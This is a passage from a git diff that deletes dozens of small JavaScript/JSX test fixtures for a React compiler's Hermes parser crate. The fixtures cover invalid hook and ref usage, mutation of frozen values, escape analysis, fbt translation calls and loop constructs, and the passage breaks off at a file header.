--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-delete-property-of-frozen-value.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  const x = makeObject();
-  // freeze
-  <div>{x}</div>;
-  delete x.y;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-destructure-assignment-to-global.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-destructure-assignment-to-global.js
deleted file mode 100644
index 9bd077cdef0e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-destructure-assignment-to-global.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function useFoo(props) {
-  [x] = props;
-  return { x };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-destructure-to-local-global-variables.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-destructure-to-local-global-variables.js
deleted file mode 100644
index 0bee2274ae3d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-destructure-to-local-global-variables.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  let a;
-  [a, b] = props.value;
-
-  return [a, b];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-conditionally-mutable-lambda.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-conditionally-mutable-lambda.js
deleted file mode 100644
index 0ffb689787dc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-conditionally-mutable-lambda.js
+++ /dev/null
@@ -1,16 +0,0 @@
-function Component(props) {
-  const x = {};
-  let fn;
-  if (props.cond) {
-    // mutable
-    fn = () => {
-      x.value = props.value;
-    };
-  } else {
-    // immutable
-    fn = () => {
-      x.value;
-    };
-  }
-  return fn;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-mutable-lambda-mutate-local.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-mutable-lambda-mutate-local.js
deleted file mode 100644
index 846b9df81a9c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-mutable-lambda-mutate-local.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  const x = {};
-  const onChange = (e) => {
-    // INVALID! should use copy-on-write and pass the new value
-    x.value = e.target.value;
-    setX(x);
-  };
-  return <input value={x.value} onChange={onChange} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-mutable-lambda-reassign-local.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-mutable-lambda-reassign-local.js
deleted file mode 100644
index b13ea05c67b4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-mutable-lambda-reassign-local.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  let x = "";
-  const onChange = (e) => {
-    x = e.target.value;
-  };
-  return <input value={x} onChange={onChange} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-function-expression-mutates-immutable-value.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-function-expression-mutates-immutable-value.js
deleted file mode 100644
index c4d62da44c9a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-function-expression-mutates-immutable-value.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  const [x, setX] = useState({ value: "" });
-  const onChange = (e) => {
-    // INVALID! should use copy-on-write and pass the new value
-    x.value = e.target.value;
-    setX(x);
-  };
-  return <input value={x.value} onChange={onChange} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-mutate-after-aliased-freeze.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-mutate-after-aliased-freeze.js
deleted file mode 100644
index 8b08aaa2156f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-mutate-after-aliased-freeze.js
+++ /dev/null
@@ -1,16 +0,0 @@
-function Component(props) {
-  let x = [];
-  let y = x;
-
-  if (props.p1) {
-    x = [];
-  }
-
-  let _ = <Component x={x} />;
-
-  // y is MaybeFrozen at this point, since it may alias to x
-  // (which is the above line freezes)
-  y.push(props.p2);
-
-  return <Component x={x} y={y} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-mutate-after-freeze.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-mutate-after-freeze.js
deleted file mode 100644
index a40fbcb31e3e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-mutate-after-freeze.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  let x = [];
-
-  let _ = <Component x={x} />;
-
-  // x is Frozen at this point
-  x.push(props.p2);
-
-  return <div>{_}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-pass-hook-as-call-arg.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-pass-hook-as-call-arg.js
deleted file mode 100644
index b53bcb818145..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-pass-hook-as-call-arg.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function Component(props) {
-  return foo(useFoo);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-pass-hook-as-prop.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-pass-hook-as-prop.js
deleted file mode 100644
index 4b3ea52d74b0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-pass-hook-as-prop.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function Component(props) {
-  return <Child foo={useFoo} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-pass-ref-to-function.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-pass-ref-to-function.js
deleted file mode 100644
index ce93fc174c26..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-pass-ref-to-function.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const ref = useRef(null);
-  const x = foo(ref);
-  return x.current;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-property-store-to-frozen-value.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-property-store-to-frozen-value.js
deleted file mode 100644
index ff54bb789a86..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-property-store-to-frozen-value.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  const x = makeObject();
-  // freeze
-  <div>{x}</div>;
-  x.y = true;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-ref-in-callback-invoked-during-render.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-ref-in-callback-invoked-during-render.js
deleted file mode 100644
index f400b30286ef..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-ref-in-callback-invoked-during-render.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @debug
-function Component(props) {
-  const ref = useRef(null);
-  const renderItem = (item) => {
-    const current = ref.current;
-    return <Foo item={item} current={current} />;
-  };
-  return <Items>{props.items.map((item) => renderItem(item))}</Items>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-ref-value-as-props.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-ref-value-as-props.js
deleted file mode 100644
index 3cf0b2aaf884..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-ref-value-as-props.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const ref = useRef(null);
-  return <Foo ref={ref.current} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-set-and-read-ref-during-render.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-set-and-read-ref-during-render.js
deleted file mode 100644
index 97ce6931dbb0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-set-and-read-ref-during-render.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const ref = useRef(null);
-  ref.current = props.value;
-  return ref.current;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-sketchy-code-use-forget.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-sketchy-code-use-forget.js
deleted file mode 100644
index 08f080632c38..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-sketchy-code-use-forget.js
+++ /dev/null
@@ -1,7 +0,0 @@
-/* eslint-disable react-hooks/rules-of-hooks */
-function lowercasecomponent() {
-  "use forget";
-  const x = [];
-  return <div>{x}</div>;
-}
-/* eslint-enable react-hooks/rules-of-hooks */
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-ternary-with-hook-values.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-ternary-with-hook-values.js
deleted file mode 100644
index 3a47b73e1c72..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-ternary-with-hook-values.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = props.cond ? useA : useB;
-  return x();
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-unconditional-set-state-in-render.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-unconditional-set-state-in-render.js
deleted file mode 100644
index afef24308bcc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-unconditional-set-state-in-render.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  const [x, setX] = useState(0);
-  const aliased = setX;
-
-  setX(1);
-  aliased(2);
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-use-ref-added-to-dep-without-type-info.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-use-ref-added-to-dep-without-type-info.js
deleted file mode 100644
index bbf5facc4a41..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-use-ref-added-to-dep-without-type-info.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function Foo({ a }) {
-  const ref = useRef();
-  // type information is lost here as we don't track types of fields
-  const val = { ref };
-  // without type info, we don't know that val.ref.current is a ref value so we
-  // *would* end up depending on val.ref.current
-  // however, this is an instance of accessing a ref during render and is disallowed
-  // under React's rules, so we reject this input
-  const x = { a, val: val.ref.current };
-
-  return <VideoList videos={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-useMemo-async-callback.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-useMemo-async-callback.js
deleted file mode 100644
index e9da86149cc5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-useMemo-async-callback.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function component(a, b) {
-  let x = useMemo(async () => {
-    await a;
-  }, []);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-useMemo-callback-args.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-useMemo-callback-args.js
deleted file mode 100644
index ae3c3379e15f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-useMemo-callback-args.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function component(a, b) {
-  let x = useMemo((c) => a, []);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.mutate-captured-arg-separately.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.mutate-captured-arg-separately.js
deleted file mode 100644
index 3545a2184949..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.mutate-captured-arg-separately.js
+++ /dev/null
@@ -1,10 +0,0 @@
-// Let's not support identifiers defined after use for now.
-function component(a) {
-  let y = function () {
-    m(x);
-  };
-
-  let x = { a };
-  m(x);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.mutate-global-increment-op-invalid-react.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.mutate-global-increment-op-invalid-react.js
deleted file mode 100644
index 6d754345cf6e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.mutate-global-increment-op-invalid-react.js
+++ /dev/null
@@ -1,6 +0,0 @@
-let renderCount = 0;
-
-function NoHooks() {
-  renderCount++;
-  return <div />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.todo-kitchensink.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.todo-kitchensink.js
deleted file mode 100644
index 111f9b25b1d8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.todo-kitchensink.js
+++ /dev/null
@@ -1,70 +0,0 @@
-function foo([a, b], { c, d, e = "e" }, f = "f", ...args) {
-  let i = 0;
-  var x = [];
-
-  class Bar {
-    #secretSauce = 42;
-    constructor() {
-      console.log(this.#secretSauce);
-    }
-  }
-
-  const g = { b() {}, c: () => {} };
-  const { z, aa = "aa" } = useCustom();
-
-  <Button haha={1}></Button>;
-  <Button>{/** empty */}</Button>;
-
-  const j = function bar([quz, qux], ...args) {};
-
-  for (; i < 3; i += 1) {
-    x.push(i);
-  }
-  for (; i < 3; ) {
-    break;
-  }
-  for (;;) {
-    break;
-  }
-
-  graphql`
-    ${g}
-  `;
-
-  graphql`\\t\n`;
-
-  for (c of [1, 2]) {
-  }
-  for ([v] of [[1], [2]]) {
-  }
-  for ({ v } of [{ v: 1 }, { v: 2 }]) {
-  }
-
-  for (let x in { a: 1 }) {
-  }
-
-  let updateIdentifier = 0;
-  --updateIdentifier;
-  ++updateIdentifier;
-  updateIdentifier.y++;
-  updateIdentifier.y--;
-
-  switch (i) {
-    case 1 + 1: {
-    }
-    case foo(): {
-    }
-    case x.y: {
-    }
-    default: {
-    }
-  }
-
-  function component(a) {
-    // Add support for function declarations once we support `var` hoisting.
-    function t() {}
-    t();
-  }
-}
-
-let moduleLocal = false;
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.todo-unconditional-set-state-lambda.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.todo-unconditional-set-state-lambda.js
deleted file mode 100644
index 8a89c2cbb11a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.todo-unconditional-set-state-lambda.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function Component(props) {
-  let y = 0;
-  const [x, setX] = useState(0);
-
-  const foo = () => {
-    setX(1);
-    y = 1; // TODO: force foo's mutable range to extend, but ideally we can just remove this line
-  };
-  foo();
-
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.todo.destructure-assignment-to-context-var.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.todo.destructure-assignment-to-context-var.js
deleted file mode 100644
index 6e2a09649dc4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.todo.destructure-assignment-to-context-var.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function useFoo(props) {
-  let x;
-  [x] = props;
-  const foo = () => {
-    x = getX(props);
-  };
-  foo();
-  return { x };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.useMemo-callback-generator.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.useMemo-callback-generator.js
deleted file mode 100644
index 2a4739a0dbe1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.useMemo-callback-generator.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a, b) {
-  // we don't handle generators at all so this test isn't
-  // useful for now, but adding this test in case we do
-  // add support for generators in the future.
-  let x = useMemo(function* () {
-    yield a;
-  }, []);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.while-with-assignment-in-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.while-with-assignment-in-test.js
deleted file mode 100644
index 0ad8369a3990..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.while-with-assignment-in-test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function f(reader) {
-  const queue = [1, 2, 3];
-  let value = 0;
-  let sum = 0;
-  // BUG: we need to codegen the complex test expression
-  while ((value = queue.pop()) != null) {
-    sum += value;
-  }
-  return sum;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-destructured-rest-element.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-destructured-rest-element.js
deleted file mode 100644
index cdfce1b2581e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-destructured-rest-element.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  // b is an object, must be memoized even though the input is not memoized
-  const { a, ...b } = props.a;
-  // d is an array, mut be memoized even though the input is not memoized
-  const [c, ...d] = props.c;
-  return <div b={b} d={d}></div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-jsx-child.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-jsx-child.js
deleted file mode 100644
index 7df580429c66..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-jsx-child.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(a, b, c) {
-  const x = [];
-  if (a) {
-    const y = [];
-    if (b) {
-      y.push(c);
-    }
-    x.push(<div>{y}</div>);
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-logical.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-logical.js
deleted file mode 100644
index 4582a56fa98a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-logical.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  const a = [props.a];
-  const b = [props.b];
-  const c = [props.c];
-  // We don't do constant folding for non-primitive values (yet) so we consider
-  // that any of a, b, or c could return here
-  return (a && b) || c;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-allocating-dependency.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-allocating-dependency.js
deleted file mode 100644
index a7646fcc95c3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-allocating-dependency.js
+++ /dev/null
@@ -1,15 +0,0 @@
-function Component(props) {
-  // a can be independently memoized, is not mutated later
-  const a = [props.a];
-
-  // b and c are interleaved and grouped into a single scope,
-  // but they are independent values. c does not escape, but
-  // we need to ensure that a is memoized or else b will invalidate
-  // on every render since a is a dependency.
-  const b = [];
-  const c = {};
-  c.a = a;
-  b.push(props.b);
-
-  return b;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js
deleted file mode 100644
index 21e3cd07f6bf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js
+++ /dev/null
@@ -1,24 +0,0 @@
-function Component(props) {
-  // a can be independently memoized, is not mutated later
-  // but a is a dependnecy of b, which is a dependency of c.
-  // we have to memoize a to avoid breaking memoization of b,
-  // to avoid breaking memoization of c.
-  const a = [props.a];
-
-  // a can be independently memoized, is not mutated later,
-  // but is a dependency of d which is part of c's scope.
-  // we have to memoize b to avoid breaking memoization of c.
-  const b = [a];
-
-  // c and d are interleaved and grouped into a single scope,
-  // but they are independent values. d does not escape, but
-  // we need to ensure that b is memoized or else b will invalidate
-  // on every render since a is a dependency. we also need to
-  // ensure that a is memoized, since it's a dependency of b.
-  const c = [];
-  const d = {};
-  d.b = b;
-  c.push(props.b);
-
-  return c;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-primitive-dependency.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-primitive-dependency.js
deleted file mode 100644
index b8d3bd280cd4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-primitive-dependency.js
+++ /dev/null
@@ -1,17 +0,0 @@
-function Component(props) {
-  // a does not need to be memoized ever, even though it's a
-  // dependency of c, which exists in a scope that has a memoized
-  // output. it doesn't need to be memoized bc the value is a primitive type.
-  const a = props.a + props.b;
-
-  // b and c are interleaved and grouped into a single scope,
-  // but they are independent values. c does not escape, but
-  // we need to ensure that a is memoized or else b will invalidate
-  // on every render since a is a dependency.
-  const b = [];
-  const c = {};
-  c.a = a;
-  b.push(props.c);
-
-  return b;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-conditional-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-conditional-test.js
deleted file mode 100644
index d59b67810fc9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-conditional-test.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const x = [props.a];
-  const y = x ? props.b : props.c;
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-if-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-if-test.js
deleted file mode 100644
index e999f4e143da..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-if-test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  const x = [props.a];
-  let y;
-  if (x) {
-    y = props.b;
-  } else {
-    y = props.c;
-  }
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-switch-case.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-switch-case.js
deleted file mode 100644
index bf577624e459..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-switch-case.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  const a = [props.a];
-  let x = props.b;
-  switch (props.c) {
-    case a: {
-      x = props.d;
-    }
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-switch-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-switch-test.js
deleted file mode 100644
index 58ceaff46164..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/escape-analysis-not-switch-test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  const a = [props.a];
-  let x = props.b;
-  switch (a) {
-    case true: {
-      x = props.c;
-    }
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/expression-with-assignment-dynamic.js b/compiler/crates/react_hermes_parser/tests/fixtures/expression-with-assignment-dynamic.js
deleted file mode 100644
index e3a58967b414..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/expression-with-assignment-dynamic.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function f(y) {
-  let x = y;
-  return x + (x = 2) + x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/expression-with-assignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/expression-with-assignment.js
deleted file mode 100644
index 5d4ec4c51b3b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/expression-with-assignment.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function f() {
-  let x = 1;
-  return x + (x = 2) + x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/extend-scopes-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/extend-scopes-if.js
deleted file mode 100644
index fd3b25358591..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/extend-scopes-if.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function foo(a, b, c) {
-  let x = [];
-  if (a) {
-    if (b) {
-      if (c) {
-        x.push(0);
-      }
-    }
-  }
-  if (x.length) {
-    return x;
-  }
-  return null;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-call-complex-param-value.js b/compiler/crates/react_hermes_parser/tests/fixtures/fbt-call-complex-param-value.js
deleted file mode 100644
index 0683c1aa5353..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-call-complex-param-value.js
+++ /dev/null
@@ -1,9 +0,0 @@
-import fbt from "fbt";
-
-function Component(props) {
-  const text = fbt(
-    `Hello, ${fbt.param("(key) name", capitalize(props.name))}!`,
-    "(description) Greeting"
-  );
-  return <div>{text}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/fbt-call.js
deleted file mode 100644
index f0719d10f799..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-call.js
+++ /dev/null
@@ -1,9 +0,0 @@
-import fbt from "fbt";
-
-function Component(props) {
-  const text = fbt(
-    `${fbt.param("(key) count", props.count)} items`,
-    "(description) Number of items"
-  );
-  return <div>{text}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-params-complex-param-value.js b/compiler/crates/react_hermes_parser/tests/fixtures/fbt-params-complex-param-value.js
deleted file mode 100644
index 31ef0115d113..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-params-complex-param-value.js
+++ /dev/null
@@ -1,9 +0,0 @@
-import fbt from "fbt";
-
-function Component(props) {
-  return (
-    <fbt desc={"Dialog to show to user"}>
-      Hello <fbt:param name="user name">{capitalize(props.name)}</fbt:param>
-    </fbt>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-params.js b/compiler/crates/react_hermes_parser/tests/fixtures/fbt-params.js
deleted file mode 100644
index c2a32077705b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-params.js
+++ /dev/null
@@ -1,9 +0,0 @@
-import fbt from "fbt";
-
-function Component(props) {
-  return (
-    <fbt desc={"Dialog to show to user"}>
-      Hello <fbt:param name="user name">{props.name}</fbt:param>
-    </fbt>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-template-string-same-scope.js b/compiler/crates/react_hermes_parser/tests/fixtures/fbt-template-string-same-scope.js
deleted file mode 100644
index 09c531c33b2a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/fbt-template-string-same-scope.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import fbt from "fbt";
-
-export function Component(props) {
-  let count = 0;
-  if (props.items) {
-    count = props.items.length;
-  }
-  return (
-    <View>
-      {fbt(
-        `for ${fbt.param("count", count)} experiences`,
-        `Label for the number of items`,
-        { project: "public" }
-      )}
-    </View>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-empty-update-with-continue.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-empty-update-with-continue.js
deleted file mode 100644
index 8ad3eeeb1655..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-empty-update-with-continue.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  let x = 0;
-  for (let i = 0; i < props.count; ) {
-    x += i;
-    i += 1;
-    continue;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-empty-update.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-empty-update.js
deleted file mode 100644
index d1411e8498f3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-empty-update.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  let x = 0;
-  for (let i = 0; i < props.count; ) {
-    x += i;
-    if (x > 10) {
-      break;
-    }
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-logical.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-logical.js
deleted file mode 100644
index b0e5a09face4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-logical.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function foo(props) {
-  let y = 0;
-  for (
-    let x = 0;
-    x > props.min && x < props.max;
-    x += props.cond ? props.increment : 2
-  ) {
-    x *= 2;
-    y += x;
-  }
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-break.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-of-break.js
deleted file mode 100644
index 1248bc8306e9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-break.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component() {
-  const x = [];
-  for (const item of [1, 2]) {
-    break;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-conditional-break.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-of-conditional-break.js
deleted file mode 100644
index 23ebd337a812..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-conditional-break.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component() {
-  const x = [];
-  for (const item of [1, 2]) {
-    if (item === 1) {
-      break;
-    }
-    x.push(item);
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-continue.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-of-continue.js
deleted file mode 100644
index 4f5e878ba312..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-continue.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component() {
-  const x = [0, 1, 2, 3];
-  const ret = [];
-  for (const item of x) {
-    if (item === 0) {
-      continue;
-    }
-    ret.push(item / 2);
-  }
-  return ret;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-destructure.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-of-destructure.js
